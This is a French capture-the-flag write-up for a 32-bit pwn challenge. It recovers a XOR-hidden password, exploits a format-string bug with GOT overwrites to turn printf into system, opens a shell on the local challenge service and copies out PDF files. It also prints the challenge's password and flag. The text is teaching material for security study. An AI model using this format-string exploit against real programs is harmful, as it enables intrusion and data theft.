Solution de BanaxavSplit pour Alfred Hitchlock

pwn x86/x64

7 octobre 2024

Protections du binaire :

Canary                        : ✓
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

Analyse statique du binaire

Voici la fonction main obtenue avec IDA Pro :

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // esi

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  if ( check_passwd() )
  {
    v3 = -1;
    fwrite("Error: Wrong password.\n", 1u, 0x17u, stderr);
  }
  else
  {
    v3 = 0;
    todo_scripts();
  }
  return v3;
}

On y voit deux fonctions : check_passwd et todo_scripts.

1re étape : le mot de passe

int check_passwd()
{
  unsigned int i; // eax
  unsigned int v1; // esi
  char v3; // [esp+1h] [ebp-49h]
  char s[32]; // [esp+Eh] [ebp-3Ch] BYREF
  unsigned int v6; // [esp+2Eh] [ebp-1Ch]

  v6 = __readgsdword(0x14u);
  for ( i = 0; i < 32; i += 4 )
    *(_DWORD *)&s[i] = 0;
  puts("Secure script locker made for A.H.");
  puts("Enter password to unlock:");
  printf(">>> ");
  fflush(stdout);
  fgets(s, 32, stdin);
  v1 = 0;
  v3 = x;
  s[strlen(s) - 1] = 0;
  while ( strlen(s) > v1 )
    s[v1++] ^= v3;
  return -(memcmp("tYXTjT[QjeTA", s, 0xCu) != 0);
}

La fonction check_passwd lit une chaîne de 32 caractères depuis stdin, effectue un XOR sur chaque octet avec une valeur fixe, et compare le résultat avec “tYXTjT[QjeTA”. La clef est stockée dans la variable globale x.

Cette variable contient initialement la valeur 0x2a (42), mais est modifiée par la fonction _dl_exception_new, au tout début du programme.

Elf32_Dyn **dl_exception_new()
{
  Elf32_Dyn **result; // eax

  result = &GLOBAL_OFFSET_TABLE_;
  x = 53;
  return result;
}

Ainsi, la valeur de la clef de chiffrement est 53.

from pwn import xor
xor(b"tYXTjT[QjeTA", 53)  # Alma_and_Pat

On a donc le mot de passe pour accéder à la suite : “Alma_and_Pat”.

2e étape : le coeur du challenge

Bon, le début n’était qu’un échauffement.

unsigned int todo_scripts()
{
  char s[128]; // [esp+2h] [ebp-9Ch] BYREF
  unsigned int v3; // [esp+82h] [ebp-1Ch]

  v3 = __readgsdword(0x14u);
  memset(s, 0, sizeof(s));
  puts("What is your name [Alfred]?:");
  printf(">>> ");
  fgets(s, 128, stdin);
  s[strlen(s) - 1] = 0;
  if ( !s[0] )
    strcpy(s, "Alfred");
  printf("Hello ");
  printf(s);
  printf(", here are the current scripts:");
  putc(10, stdout);
  system("ls -1 script*.pdf");
  return __readgsdword(0x14u) ^ v3;
}

Cette fonction lit une entrée de 128 caractères, et l’affiche dans un beau printf(s). Pas besoin de chercher bien loin, on a une belle format string.

Déroulé de l’attaque

On serait tenté de modifier la commande appelée par system en “/bin/sh”, mais malheureusement la zone mémoire où est stockée la commande n’est accessible qu’en lecture seule :

gef➤  grep "ls -1 script"
[+] Searching 'ls -1 script' in memory
[+] In '/mnt/c/Users/xavie/Documents/Hackropole/Pwn/Alfred/alfred'(0x804a000-0x804b000), permission=r--
  0x804a09c - 0x804a0ad  →   "ls -1 script*.pdf"
[+] In '/mnt/c/Users/xavie/Documents/Hackropole/Pwn/Alfred/alfred'(0x804b000-0x804c000), permission=r--
  0x804b09c - 0x804b0ad  →   "ls -1 script*.pdf"

Regardons plutôt la GOT, au lancement du programme :

GOT protection: Partial RelRO | GOT functions: 10

[0x804c00c] printf@GLIBC_2.0  →  0x8049036
[0x804c010] fflush@GLIBC_2.0  →  0x8049046
[0x804c014] fgets@GLIBC_2.0  →  0x8049056
[0x804c018] __stack_chk_fail@GLIBC_2.4  →  0x8049066
[0x804c01c] fwrite@GLIBC_2.0  →  0x8049076
[0x804c020] puts@GLIBC_2.0  →  0x8049086
[0x804c024] system@GLIBC_2.0  →  0x8049096
[0x804c028] __libc_start_main@GLIBC_2.0  →  0x80490a6
[0x804c02c] setvbuf@GLIBC_2.0  →  0x80490b6
[0x804c030] putc@GLIBC_2.0  →  0x80490c6

Étant donné qu’on peut modifier les entrées dans la GOT (Partial RelRO), on va pouvoir faire boucler le programme, pour exploiter plusieurs fois la vulnérabilité. On écrira donc l’adresse de todo_scripts dans l’entrée GOT de putc.

Maintenant, on va pouvoir écrire plusieurs payloads. L’idée va être de remplacer l’entrée GOT de la fonction printf par celle de la fonction system, vu qu’on pourra contrôler son paramètre. En effet, la ligne printf(s) deviendra alors system(s), avec s notre input.

Enfin, au 3e tour de boucle, il suffira d’entrer “/bin/sh”, et la ligne printf("/bin/sh") exécutera en réalité system("/bin/sh").

Script de résolution

from pwn import *

elf = context.binary = ELF("./alfred")

OFFSET = 7

password = b"Alma_and_Pat"

system_got_value = 0x8049096

todo_scripts_addr = 0x80493e0
system_got_addr = 0x804c024
putc_got_addr = 0x804c030
printf_got_addr = 0x804c00c

fmt1 = fmtstr_payload(offset=OFFSET, writes={putc_got_addr: todo_scripts_addr}, write_size="short")
fmt2 = fmtstr_payload(offset=OFFSET, writes={printf_got_addr: system_got_value}, write_size="short")

p = remote("localhost", 4000)

p.sendlineafter(b">>> ", password)
p.sendlineafter(b">>> ", fmt1)
p.sendlineafter(b">>> ", fmt2)

p.sendline(b"/bin/sh")

p.clean()

p.sendline(b"ls")
list_files = p.clean().decode().split("\n")
info(list_files)

for pdf in list_files[1:-1]:
    info(f"Getting {pdf}")
    p.sendline(f"base64 {pdf}".encode())
    encoded_file = p.clean().decode()
    with open(pdf, "wb") as f:
        f.write(b64d(encoded_file))
    info(f"{pdf} ok")

La fin me permet de récupérer les fichiers pdf, en les affichant en base64, puis en les décodant dans mon PC.

On lit donc le flag dans le fichier “script_flag.pdf”:

FCSC{a80b88dd4d26338e6dfe0f05bc6d33d468863a823a898de152e99cb406df7a08}